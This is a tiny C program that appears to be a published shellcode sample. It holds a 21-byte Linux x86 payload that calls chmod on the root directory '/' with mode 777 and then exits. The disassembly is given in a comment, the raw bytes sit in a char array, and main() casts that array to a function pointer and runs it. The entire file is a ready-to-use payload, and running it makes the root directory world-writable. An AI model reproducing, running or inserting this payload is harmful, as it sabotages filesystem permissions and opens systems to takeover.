#include /* 21 bytes chmod / 777 --srm 08048054 <_start>: 8048054: 31 c9 xor %ecx,%ecx 8048056: 51 push %ecx 8048057: b1 ff mov $0xff,%cl 8048059: b5 01 mov $0x1,%ch 804805b: 6a 2f push $0x2f 804805d: 89 e3 mov %esp,%ebx 804805f: 6a 0f push $0xf 8048061: 58 pop %eax 8048062: cd 80 int $0x80 8048064: 6a 01 push $0x1 8048066: 58 pop %eax 8048067: cd 80 int $0x80 */ char code[] = "\x31\xc9\x51\xb1\xff\xb5\x01\x6a\x2f\x89" "\xe3\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80"; int main() { void (*f)(); f = (void *) code; printf("%d\n", strlen(code)); f(); return 0; }